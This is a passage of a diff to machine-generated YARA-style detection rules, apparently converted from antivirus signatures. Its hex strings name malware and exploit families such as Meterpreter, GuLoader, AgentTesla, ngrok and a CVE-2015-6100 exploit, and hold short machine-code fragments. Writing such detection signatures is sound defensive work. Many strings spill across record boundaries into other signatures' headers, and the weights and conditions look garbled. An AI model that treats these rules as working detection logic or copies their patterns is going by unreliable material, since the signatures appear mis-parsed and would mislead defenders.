69 6e } //29793 + $a_53_5 = {6e 46 6c 6f 6f 64 2e 4a 00 01 00 09 01 4d 50 2d 44 44 6f 73 65 72 01 00 08 01 ae 4d 50 63 72 79 70 74 01 00 0c 00 77 77 77 2e 6c 69 76 65 2e } //12851 condition: - ((#a_54_0 & 1)*18467+(#a_45_1 & 1)*26478+(#a_73_2 & 1)*25458+(#a_03_3 & 1)*-7999+(#a_08_4 & 1)*-31994+(#a_2f_5 & 1)*28530) >=4 + ((#a_54_0 & 1)*18467+(#a_45_1 & 1)*26478+(#a_73_2 & 1)*25458+(#a_90_3 & 1)*-31928+(#a_00_4 & 1)*29793+(#a_53_5 & 1)*12851) >=4 } -rule _InfrastructureShared_10519{ +rule _InfrastructureShared_11198{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 65 74 65 72 70 72 65 74 65 72 2e 41 48 43 21 4d 54 42 00 03 00 39 03 48 8d 55 b0 48 8b 85 90 01 02 00 00 48 01 d0 0f b6 00 48 8b 8d 90 01 02 00 00 48 8b 95 90 01 02 } //21539 + $a_01_1 = {ca 32 85 90 01 02 00 00 88 02 48 83 85 90 01 02 00 00 01 90 00 02 00 29 03 b9 07 01 00 00 48 89 c7 48 89 d6 f3 48 a5 48 89 f2 48 89 f8 0f b7 0a 66 89 08 48 c7 85 90 01 01 08 00 00 3a 08 00 00 90 00 00 00 78 99 00 00 } //0 + condition: + ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*0) >=5 + +} +rule _InfrastructureShared_11199{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 61 6e 63 79 4a 65 6c 6c 79 2e 41 00 01 00 15 01 00 49 6e 69 74 69 61 6c 69 7a 65 4e 65 77 44 6f 6d 61 69 6e 00 01 00 0e 01 00 44 6f 77 6e 6c 6f 61 64 44 61 74 61 00 01 00 0c 01 00 55 70 6c } //16675 + $a_44_1 = {74 61 00 01 00 1e 01 4d 69 63 72 6f 73 6f 66 74 20 48 54 54 50 20 53 65 72 76 69 63 65 20 48 61 6e 64 6c 65 72 01 00 11 03 06 91 06 61 20 90 01 04 61 d2 9c 06 17 58 0a 90 00 00 00 78 99 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 44 6f 53 3a 57 69 6e 33 32 2f 53 79 6e 46 6c 6f 6f 64 2e 4a 00 01 00 } //24943 + $a_50_2 = {44 44 6f 73 65 72 01 00 08 01 ae 4d 50 63 72 79 70 74 01 00 0c 00 77 77 77 2e 6c 69 76 65 2e 63 6f 6d 01 00 07 00 66 69 72 65 66 6f 78 01 00 3d 01 7c 65 8b 45 f0 c1 e0 06 03 d8 89 5d f0 83 c7 06 83 ff 08 7c 48 83 ef 08 8b cf 8b 5d } //265 + $a_8b_3 = {b8 01 00 00 00 d3 e0 50 8b 45 f0 5a 8b ca 99 f7 f9 89 55 f0 81 e3 ff 00 00 80 79 08 00 00 78 99 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 4a 21 4d 54 42 00 01 00 12 81 01 62 75 6e 74 69 6e 67 73 20 73 6c 65 64 64 69 6e 67 73 01 00 23 81 01 61 63 63 65 70 74 65 72 65 72 20 61 63 68 6c 61 6d 79 64 65 61 65 20 65 6c 65 76 62 65 74 61 6c 69 6e 67 01 00 0c 81 01 70 6f 6c 65 72 6d 69 64 64 65 6c 73 01 00 0c 81 01 66 72 69 73 62 65 65 73 2e 65 78 65 01 00 06 81 01 73 75 64 61 72 79 00 00 78 99 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 45 30 31 21 4d 54 42 00 01 00 0b 81 01 62 } //-11280 + $a_65_4 = {73 69 64 65 73 01 00 0c 81 01 62 65 74 6e 6b 6e 69 6e 67 65 72 73 01 00 0d 81 01 74 72 65 64 76 65 72 65 6e 2e 65 78 65 01 00 0e 81 01 6b 6c 6f 61 6b 65 72 69 6e 67 65 72 6e 65 01 00 26 81 01 66 6f 72 62 72 6e 64 69 6e 67 73 6d 6f 74 6f 72 73 5c 66 6c 69 67 68 74 69 6e 65 73 73 5c 67 61 6c 69 61 6e 65 73 00 } //30066 + condition: + ((#a_46_0 & 1)*16675+(#a_44_1 & 1)*24943+(#a_50_2 & 1)*265+(#a_8b_3 & 1)*-11280+(#a_65_4 & 1)*30066) >=5 + +} +rule _InfrastructureShared_11200{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 44 6f 53 3a 57 69 6e 33 32 2f 53 79 6e 46 6c 6f 6f 64 2e 4a 00 01 00 09 01 4d 50 2d 44 44 6f 73 65 72 01 00 08 01 ae 4d 50 63 72 79 70 74 01 00 0c 00 77 77 77 2e 6c 69 76 65 2e 63 6f 6d 01 00 07 00 66 69 72 65 66 6f 78 01 00 3d 01 7c 65 8b 45 f0 } //18467 $a_03_1 = {d8 89 5d f0 83 c7 } //-7999 - $a_08_2 = {7c 48 83 ef 08 8b cf 8b 5d f0 d3 eb 8b cf b8 01 00 00 00 d3 e0 50 8b 45 f0 5a 8b ca 99 f7 f9 89 55 f0 81 e3 ff 00 00 80 79 08 00 00 78 99 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4b 4b 59 31 32 33 21 4d 54 42 00 01 00 11 81 01 54 68 6f 75 67 68 74 77 6f 72 6b 73 20 49 6e 63 2e 01 00 1a 81 01 43 68 61 72 74 65 72 20 4f 6e 65 20 46 69 6e 61 6e 63 69 61 6c 20 49 6e 63 2e 01 00 0e 81 01 53 68 61 77 20 47 72 6f 75 70 20 49 6e 63 01 00 11 81 01 61 76 6f 6b 65 20 62 65 73 75 6c 6c 79 2e 65 78 65 01 00 0c 81 01 4c 69 6d 69 74 65 64 20 49 6e 63 2e 00 00 78 99 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4e 67 72 6f 6b 2e 41 00 01 00 1e 01 67 6f 2e 6e 67 72 6f 6b 2e 63 6f 6d 2f 63 6d 64 2f 6e 67 } //-31994 - $a_2f_3 = {75 6e 6e 65 6c 73 01 00 1e 01 67 6f 2e 6e 67 72 6f 6b 2e 63 6f 6d 2f 6c 69 62 2f 74 75 6e 6e 65 6c 2f 63 6c 69 65 6e 74 01 00 0a 01 6e 67 72 6f 6b 20 68 74 74 70 01 00 13 01 4e 67 72 6f 6b 49 6e 74 65 72 6e 61 6c 46 69 6c 74 65 72 01 00 0f 01 6e 67 72 6f 6b 5f 73 65 72 76 65 72 5f 69 64 00 00 78 99 00 00 05 00 05 00 05 } //28530 - $a_54_4 = {4c 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 43 56 45 2d 32 30 31 35 2d 36 31 30 30 2e 41 00 01 00 0c } //8448 + $a_08_2 = {7c 48 83 ef 08 8b cf 8b 5d f0 d3 eb 8b cf b8 01 00 00 00 d3 e0 50 8b 45 f0 5a 8b ca 99 f7 f9 89 55 f0 81 e3 ff 00 00 80 79 08 00 00 78 99 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 4a 21 4d 54 42 00 01 00 12 81 01 62 75 6e 74 69 6e 67 73 20 73 6c 65 64 64 69 6e 67 73 01 00 23 81 01 61 63 63 65 70 74 65 72 65 72 20 61 63 68 6c 61 6d 79 64 65 61 65 20 65 6c 65 76 62 65 74 61 6c 69 6e 67 01 00 0c 81 01 70 6f 6c 65 72 6d 69 64 64 65 6c 73 01 00 0c 81 01 66 72 69 73 62 65 65 73 2e 65 78 65 01 00 06 81 01 73 75 64 61 72 79 00 00 78 99 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 45 30 31 21 4d 54 42 00 01 00 0b 81 01 62 72 75 67 65 72 73 } //-31994 + $a_73_3 = {00 0c 81 01 62 65 74 6e 6b 6e 69 6e 67 65 72 73 01 00 0d 81 01 74 72 65 64 76 65 72 65 6e 2e 65 78 65 01 00 0e 81 01 6b 6c 6f 61 6b 65 72 69 6e 67 65 72 6e 65 01 00 26 81 01 66 6f 72 62 72 6e 64 69 6e 67 73 6d 6f 74 6f 72 73 5c 66 6c 69 67 68 74 69 6e 65 73 73 5c 67 61 6c 69 61 6e 65 73 00 00 78 99 00 } //25705 condition: - ((#a_54_0 & 1)*18467+(#a_03_1 & 1)*-7999+(#a_08_2 & 1)*-31994+(#a_2f_3 & 1)*28530+(#a_54_4 & 1)*8448) >=5 + ((#a_54_0 & 1)*18467+(#a_03_1 & 1)*-7999+(#a_08_2 & 1)*-31994+(#a_73_3 & 1)*25705) >=5 } -rule _InfrastructureShared_10520{ +rule _InfrastructureShared_11201{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 4a 21 4d 54 42 00 01 00 12 81 01 62 75 6e 74 69 6e 67 73 20 73 6c 65 64 64 69 6e 67 73 01 00 23 81 01 61 63 63 65 70 74 65 72 65 72 20 61 63 68 6c 61 6d 79 64 65 61 65 20 65 } //18467 + $a_62_1 = {74 61 6c 69 6e 67 01 00 0c 81 01 70 6f 6c 65 72 6d 69 64 64 65 6c 73 01 00 0c 81 01 66 72 69 73 62 65 65 73 2e 65 78 65 01 00 06 81 01 73 75 64 61 72 79 00 00 78 99 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 45 30 31 21 4d 54 42 00 01 00 0b 81 01 62 72 75 67 65 72 73 69 64 65 73 01 00 0c 81 01 62 65 } //25964 + $a_6e_2 = {6e 67 65 72 73 01 00 0d 81 01 74 72 65 64 76 65 72 65 6e 2e 65 78 65 01 00 0e 81 01 6b 6c 6f 61 6b 65 72 69 6e 67 65 72 6e 65 01 00 26 81 01 66 6f 72 62 72 6e 64 69 6e 67 73 6d 6f 74 6f 72 73 5c 66 6c 69 67 68 74 69 6e 65 73 73 5c 67 61 6c 69 61 6e 65 73 00 00 78 99 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e } //28276 + $a_47_3 = {6c 6f 61 64 65 72 2e 4b 4b 4b 59 31 32 33 21 4d 54 42 00 01 00 11 81 01 54 68 6f 75 67 68 74 77 6f 72 6b 73 20 49 6e 63 2e 01 00 1a 81 01 43 } //12851 + $a_74_4 = {72 20 4f 6e 65 20 46 69 6e 61 6e 63 69 61 6c 20 49 6e 63 2e 01 00 0e 81 01 53 68 61 77 20 47 72 6f 75 70 20 49 6e 63 01 00 11 81 01 61 76 6f 6b 65 20 62 65 73 75 6c 6c 79 2e 65 78 65 01 00 0c 81 01 4c 69 6d 69 74 65 64 20 49 6e 63 2e 00 00 78 99 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4e 67 72 6f 6b 2e 41 00 01 00 1e } //24936 + condition: + ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*25964+(#a_6e_2 & 1)*28276+(#a_47_3 & 1)*12851+(#a_74_4 & 1)*24936) >=5 + +} +rule _InfrastructureShared_11202{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 45 30 31 21 4d 54 42 00 01 00 0b 81 01 62 72 75 67 65 72 73 69 64 65 73 01 00 0c 81 01 62 65 74 6e 6b 6e 69 6e 67 65 72 73 01 00 0d 81 01 74 72 65 64 76 65 72 65 6e 2e 65 78 65 01 00 0e 81 01 6b } //18467 + $a_6b_1 = {72 69 6e 67 65 72 6e 65 01 00 26 81 01 66 6f 72 62 72 6e 64 69 6e 67 73 6d 6f 74 6f 72 73 5c 66 6c 69 67 68 74 69 6e 65 73 73 5c 67 61 6c 69 61 6e 65 73 00 00 78 99 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4b 4b 59 31 32 33 21 4d 54 42 00 } //28524 + $a_81_2 = {54 68 6f 75 67 68 74 77 6f 72 6b 73 20 49 6e 63 2e } //1 Thoughtworks Inc. + $a_81_3 = {43 68 61 72 74 65 72 20 4f 6e 65 20 46 69 6e 61 6e 63 69 61 6c 20 49 6e 63 2e } //1 Charter One Financial Inc. + $a_81_4 = {53 68 61 77 20 47 72 6f 75 70 20 49 6e 63 } //1 Shaw Group Inc + condition: + ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*28524+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 + +} +rule _InfrastructureShared_11203{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -114577,7 +122164,7 @@ rule _InfrastructureShared_10520{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*-32498+(#a_72_2 & 1)*8311+(#a_6b_3 & 1)*29287+(#a_6f_4 & 1)*26478) >=5 } -rule _InfrastructureShared_10521{ +rule _InfrastructureShared_11204{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -114591,7 +122178,7 @@ rule _InfrastructureShared_10521{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_99_4 & 1)*0) >=5 } -rule _InfrastructureShared_10522{ +rule _InfrastructureShared_11205{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -114599,13 +122186,13 @@ rule _InfrastructureShared_10522{ $a_4c_0 = {45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 43 56 45 2d 32 30 31 35 2d 36 31 30 30 2e 41 00 01 00 0c 00 45 78 74 46 6c 6f 6f 64 46 69 6c 6c 01 00 1d 00 4d 69 63 72 6f 73 6f 66 74 20 58 50 53 20 44 6f 63 75 6d } //21539 $a_20_1 = {72 69 74 65 72 01 00 08 00 45 00 4d 00 46 00 00 00 01 00 14 00 ff 75 0c ff 75 08 6a 00 b8 0b 11 00 00 ba 00 03 fe 7f ff 12 01 00 14 03 ff 75 08 6a 00 b8 90 01 02 00 00 ba 00 03 fe 7f ff 12 90 00 00 00 78 99 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 57 4e 65 74 57 61 74 63 68 65 2e 70 6b 37 00 01 00 13 } //28261 $a_78_2 = {65 6c 65 67 72 61 6d 2e 42 6f 74 32 2e 64 6c 6c 01 00 0a 80 01 73 65 74 57 65 62 68 6f 6f 6b 01 00 0b 80 01 73 65 74 5f 50 61 79 6c 6f 61 64 01 00 0b 80 01 67 65 74 5f 50 61 79 6c 6f 61 64 01 00 21 80 01 52 78 54 65 6c 65 67 72 61 6d 2e 42 6f 74 } //384 - $a_74_3 = {72 66 61 63 65 2e 50 61 79 6d 65 6e 74 73 00 00 78 99 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 72 79 70 74 49 6e 6a 65 63 74 2e 42 59 21 4d 54 42 00 01 00 05 81 01 48 41 43 4b 3a 01 00 10 81 01 73 65 74 74 69 6e 67 73 2f 43 72 65 64 69 74 73 01 00 08 81 01 67 65 74 5f 42 41 4e 4b 01 00 0f } //18734 - $a_65_4 = {5f 4a 41 49 4c 5f 41 43 54 49 4f 4e 01 00 13 81 01 73 65 74 74 69 6e 67 73 2f 6a 61 69 6c 61 63 74 69 6f 6e 01 00 0f 81 01 4d 6f 6e 65 79 54 72 61 6e 73 66 65 72 65 64 00 00 78 99 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 54 47 54 31 21 } //385 + $a_74_3 = {72 66 61 63 65 2e 50 61 79 6d 65 6e 74 73 00 00 78 99 00 00 06 00 06 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 69 72 61 67 65 2e 53 58 41 21 4d 54 42 00 03 00 22 03 03 75 dc 03 d6 8b f2 c1 ee 90 01 01 c1 e2 90 01 01 0b f2 8b d3 33 d7 23 d6 33 d3 03 55 e0 03 ca 90 00 02 00 3a 03 8d 85 b4 fb ff ff 68 90 } //18734 + $a_ff_4 = {90 01 04 8b 35 90 01 04 8d 85 bc fd ff ff 50 8d 85 b4 fb ff ff 50 ff d6 8d 85 b4 fb ff ff 68 90 01 04 50 ff d6 8d 85 ac f9 ff ff 90 00 01 00 06 80 01 2f 63 20 64 65 6c 00 00 78 99 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e } //1025 condition: - ((#a_4c_0 & 1)*21539+(#a_20_1 & 1)*28261+(#a_78_2 & 1)*384+(#a_74_3 & 1)*18734+(#a_65_4 & 1)*385) >=5 + ((#a_4c_0 & 1)*21539+(#a_20_1 & 1)*28261+(#a_78_2 & 1)*384+(#a_74_3 & 1)*18734+(#a_ff_4 & 1)*1025) >=5 } -rule _InfrastructureShared_10523{ +rule _InfrastructureShared_11206{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -114614,12 +122201,24 @@ rule _InfrastructureShared_10523{ $a_80_1 = {73 65 74 5f 50 61 79 6c 6f 61 64 } //set_Payload 1 $a_80_2 = {67 65 74 5f 50 61 79 6c 6f 61 64 } //get_Payload 1 $a_80_3 = {52 78 54 65 6c 65 67 72 61 6d 2e 42 6f 74 2e 49 6e 74 65 72 66 61 63 65 2e 50 61 79 6d 65 6e 74 73 } //RxTelegram.Bot.Interface.Payments 1 - $a_99_4 = {00 06 00 06 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 72 79 70 74 49 6e 6a 65 63 74 2e 42 59 21 4d 54 42 00 01 00 05 81 01 48 41 43 4b 3a 01 00 10 81 01 73 65 74 74 69 6e 67 73 2f 43 72 65 64 69 74 73 01 00 08 81 01 67 65 74 5f 42 41 4e 4b 01 00 0f 81 01 67 65 74 5f 4a 41 49 4c 5f 41 43 54 49 4f 4e 01 00 13 81 01 73 65 74 74 69 6e 67 } //0 + $a_99_4 = {00 06 00 06 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 69 72 61 67 65 2e 53 58 41 21 4d 54 42 00 03 00 22 03 03 75 dc 03 d6 8b f2 c1 ee 90 01 01 c1 e2 90 01 01 0b f2 8b d3 33 d7 23 d6 33 d3 03 55 e0 03 ca 90 00 02 00 3a 03 8d 85 b4 fb ff ff 68 90 01 04 50 ff 15 90 01 04 8b 35 90 01 04 8d 85 bc fd ff ff 50 8d 85 b4 fb ff ff 50 ff d6 } //0 condition: ((#a_4c_0 & 1)*21539+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_99_4 & 1)*0) >=5 } -rule _InfrastructureShared_10524{ +rule _InfrastructureShared_11207{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 69 72 61 67 65 2e 53 58 41 21 4d 54 42 00 03 00 22 03 03 75 dc 03 d6 8b f2 c1 ee 90 01 01 c1 e2 90 01 01 0b f2 8b d3 33 d7 23 d6 33 d3 03 55 e0 03 ca 90 00 02 00 3a } //21539 + $a_b4_1 = {ff ff 68 90 01 04 50 ff 15 90 01 04 8b 35 90 01 04 8d 85 bc fd ff ff 50 8d 85 b4 fb ff ff 50 ff d6 8d 85 b4 fb ff ff 68 90 01 04 50 ff d6 8d 85 ac f9 ff ff 90 00 01 00 06 80 01 2f 63 20 64 65 6c 00 00 78 99 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 72 79 70 74 49 6e 6a 65 63 74 2e 42 59 21 4d 54 42 00 01 00 05 81 01 48 41 43 4b 3a 01 00 10 81 01 73 65 74 74 } //-29437 + $a_73_2 = {43 72 65 64 69 74 73 01 00 08 81 01 67 65 74 5f 42 41 4e 4b 01 00 0f 81 01 67 65 74 5f 4a 41 49 4c 5f 41 43 54 49 4f 4e 01 00 13 81 01 73 65 74 74 69 6e 67 73 2f 6a 61 69 6c 61 63 74 69 6f 6e 01 00 0f 81 01 4d 6f 6e 65 79 54 72 61 6e 73 66 65 72 65 64 00 00 78 99 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a } //28265 + condition: + ((#a_4c_0 & 1)*21539+(#a_b4_1 & 1)*-29437+(#a_73_2 & 1)*28265) >=6 + +} +rule _InfrastructureShared_11208{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -114634,7 +122233,7 @@ rule _InfrastructureShared_10524{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*3840+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=6 } -rule _InfrastructureShared_10525{ +rule _InfrastructureShared_11209{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -114648,7 +122247,7 @@ rule _InfrastructureShared_10525{ ((#a_54_0 & 1)*18467+(#a_72_2 & 1)*385+(#a_2f_3 & 1)*13934+(#a_73_4 & 1)*25955+(#a_42_5 & 1)*19745) >=6 } -rule _InfrastructureShared_10526{ +rule _InfrastructureShared_11210{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -114663,7 +122262,7 @@ rule _InfrastructureShared_10526{ ((#a_4c_0 & 1)*21539+(#a_41_1 & 1)*5376+(#a_54_2 & 1)*29557+(#a_45_3 & 1)*16705+(#a_46_4 & 1)*4096+(#a_73_5 & 1)*17005) >=6 } -rule _InfrastructureShared_10527{ +rule _InfrastructureShared_11211{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 05 00 21 " @@ -114677,7 +122276,7 @@ rule _InfrastructureShared_10527{ ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*16705+(#a_52_2 & 1)*21320+(#a_26_3 & 1)*400+(#a_80_4 & 1)*1) >=10 } -rule _InfrastructureShared_10528{ +rule _InfrastructureShared_11212{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -114688,7 +122287,7 @@ rule _InfrastructureShared_10528{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28578) >=12 } -rule _InfrastructureShared_10529{ +rule _InfrastructureShared_11213{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -114699,7 +122298,7 @@ rule _InfrastructureShared_10529{ ((#a_54_0 & 1)*18467+(#a_21_2 & 1)*2323) >=12 } -rule _InfrastructureShared_10530{ +rule _InfrastructureShared_11214{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -114711,7 +122310,7 @@ rule _InfrastructureShared_10530{ ((#a_54_0 & 1)*18467+(#a_06_1 & 1)*12+(#a_00_2 & 1)*11528) >=12 } -rule _InfrastructureShared_10531{ +rule _InfrastructureShared_11215{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -114724,7 +122323,7 @@ rule _InfrastructureShared_10531{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*384+(#a_69_2 & 1)*24909+(#a_65_3 & 1)*29810) >=13 } -rule _InfrastructureShared_10532{ +rule _InfrastructureShared_11216{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 03 00 21 " @@ -114736,7 +122335,7 @@ rule _InfrastructureShared_10532{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*1297+(#a_04_2 & 1)*-28561) >=14 } -rule _InfrastructureShared_10533{ +rule _InfrastructureShared_11217{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 05 00 21 " @@ -114749,7 +122348,7 @@ rule _InfrastructureShared_10533{ ((#a_54_0 & 1)*18467+(#a_11_1 & 1)*5078+(#a_65_3 & 1)*384+(#a_65_4 & 1)*24951) >=14 } -rule _InfrastructureShared_10534{ +rule _InfrastructureShared_11218{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 07 00 21 " @@ -114760,12 +122359,12 @@ rule _InfrastructureShared_10534{ $a_54_3 = {6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 33 33 37 21 4d 54 42 00 01 00 08 00 47 65 74 50 69 78 65 6c 01 00 07 00 54 6f 57 69 6e 33 32 01 00 0e 80 } //21076 $a_65_4 = {74 65 49 6e 73 74 61 6e 63 65 01 00 08 00 54 6f 53 74 72 69 6e 67 01 00 0c 00 52 65 73 75 6d 65 4c 61 79 6f 75 74 01 00 0d 00 53 75 73 70 65 6e 64 4c 61 79 6f 75 74 0a 00 0e 02 16 0b 20 00 68 00 00 8d 90 01 04 0c 90 00 00 00 78 99 00 00 15 00 15 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 75 63 6b 74 61 69 6c 2e 41 } //17153 $a_54_5 = {00 0a 00 36 03 48 8d 40 14 48 63 ca 49 03 c9 48 89 48 dc b9 f8 0f 00 00 c7 40 e4 41 ff a2 00 2b ca 89 48 e7 83 c2 10 66 c7 40 eb 90 90 90 90 c6 40 ed 90 90 49 83 e8 01 75 90 00 0a 00 18 01 44 6f 74 4e 65 74 52 75 6e 74 69 6d 65 44 } //8513 - $a_67_6 = {65 61 64 65 72 01 00 08 01 2e 6d 61 6e 61 67 65 64 01 00 08 01 68 79 64 72 61 74 65 64 00 00 78 99 00 00 66 00 66 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 43 61 6d 76 69 6f 6c 75 73 2e 42 00 64 00 15 01 d9 e2 c0 c5 d3 ce d8 cd c5 c9 c0 c9 c3 c9 c8 d7 cf e9 ea c0 00 01 00 0c 01 da d0 db d9 d1 } //25189 + $a_67_6 = {65 61 64 65 72 01 00 08 01 2e 6d 61 6e 61 67 65 64 01 00 08 01 68 79 64 72 61 74 65 64 00 00 78 99 00 00 1e 00 1e 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 69 6b 65 79 2e 4c 4d 45 21 4d 54 42 00 14 00 4d 01 44 03 c9 8b cb 44 03 4c 06 fc 8b c3 44 03 4c 34 5c c1 c0 0a 45 03 ce c1 c9 0d 45 8b f7 33 c8 45 8b fc 8b c3 44 8b e7 } //25189 condition: ((#a_5f_0 & 1)*16931+(#a_65_1 & 1)*26996+(#a_01_2 & 1)*25976+(#a_54_3 & 1)*21076+(#a_65_4 & 1)*17153+(#a_54_5 & 1)*8513+(#a_67_6 & 1)*25189) >=15 } -rule _InfrastructureShared_10535{ +rule _InfrastructureShared_11219{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 07 00 21 " @@ -114779,7 +122378,7 @@ rule _InfrastructureShared_10535{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*29300+(#a_65_2 & 1)*8+(#a_4c_3 & 1)*28261+(#a_e7_4 & 1)*-30262) >=16 } -rule _InfrastructureShared_10536{ +rule _InfrastructureShared_11220{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 07 00 21 " @@ -114787,28 +122386,39 @@ rule _InfrastructureShared_10536{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 33 33 37 21 4d 54 42 00 01 00 08 00 47 65 74 50 69 78 65 6c 01 00 07 00 54 6f 57 69 6e 33 32 01 00 0e 80 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 08 00 54 6f 53 } //18467 $a_6e_1 = {01 00 0c 00 52 65 73 75 6d 65 4c 61 79 6f 75 74 01 00 0d 00 53 75 73 70 65 6e 64 4c 61 79 6f 75 74 0a 00 0e 02 16 0b 20 00 68 00 00 8d 90 01 04 0c 90 00 00 00 78 99 00 00 15 00 15 00 04 00 21 23 54 45 